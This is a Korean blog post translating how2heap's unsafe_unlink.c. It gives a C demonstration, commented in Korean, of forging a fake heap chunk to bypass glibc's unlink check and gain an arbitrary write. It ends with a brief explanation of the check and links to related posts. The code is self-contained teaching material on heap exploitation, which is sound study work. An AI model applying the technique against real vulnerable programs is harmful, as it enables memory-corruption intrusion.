1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57 |
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("가장 일반적인 시나리오는 overflow 가 될 수 있는 취약한 버퍼와 global pointer 가 있다..\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("이 내용의 요점은 free()를 사용하여 global chunk0_ptr 를 손상시켜 임의의 메모리 쓰기를 달성하는 것이다.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);
printf("우리는 chunk0 에 overflow 가 있다고 가정하여 우리가 chunk1 의 metadata 를 자유롭게 변경할 수 있다고 가정한다.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("우리는 chunk0(chunk1 에서 'prev_size' 로 저장된다)의 크기를 축소한다. 그리고 free() 는 chunk0 이 우리가 fake chunk를 배치한 곳에서 시작한다고 생각할 것이다.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("만약 우리가 '정상적으로' chunk0 을 free 했다면 prev_size 는 0x90 일 것이다. 하지만, 여기서 prev_size : %p 이다.\n",(void*)chunk1_hdr[0]);
printf("우리는 chunk1 의 prev_inuse 을 False로 설정하여 fake chunk를 해체된 것처럼 표시할 것이다.\n");
chunk1_hdr[1] &= ~1;
printf("이제 chunk1_ptr 을 free() 하면 fake chunk와 병합을 통해 unlink가 발생하고, chunk0_ptr 을 덮어쓰게 될 것이다.\n");
free(chunk1_ptr);
printf("이 시점에서 chunk0_ptr 을 사용하여 임의의 위치를 가리키도록 chunk0_ptr 을 덮어쓸 수 있다.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr 은 이제 우리가 원하는 값을 가리키고 있고, 우리는 그것을 이용해 victim_string 을 덮어 쓸 수 있다. \n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
}
|
cs |
if ((__builtin_expect (FD->bk != P || BK->fd != P), 0))
malloc_printerr(check_actiion, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
위와 같은 검사 과정을 우회하기 위해 FD->bk, BK->fd 의 주소를 P 와 동일하게 해야함.
chunk1 chunk 에서는,
-> prev_size 0x80 // chunk0 의 size 를 0x80 으로 설정하여 fake chunk 가 있는 부분을 chunk0 의 offset 으로 인식
-> size 0x90 // prev_inuse 를 해체하여 chunk0 이 해체된 것처럼 표시
'system' 카테고리의 다른 글
[how2heap translation] house_of_spirit.c (1) | 2017.04.22 |
---|---|
c library hook, atexit (0) | 2017.03.29 |
[how2heap translation] unsorted_bin_attack.c (0) | 2017.02.07 |
[how2heap translation] fastbin_dup_into_stack.c (0) | 2017.01.11 |
[how2heap translation] fastbin_dup.c (0) | 2017.01.10 |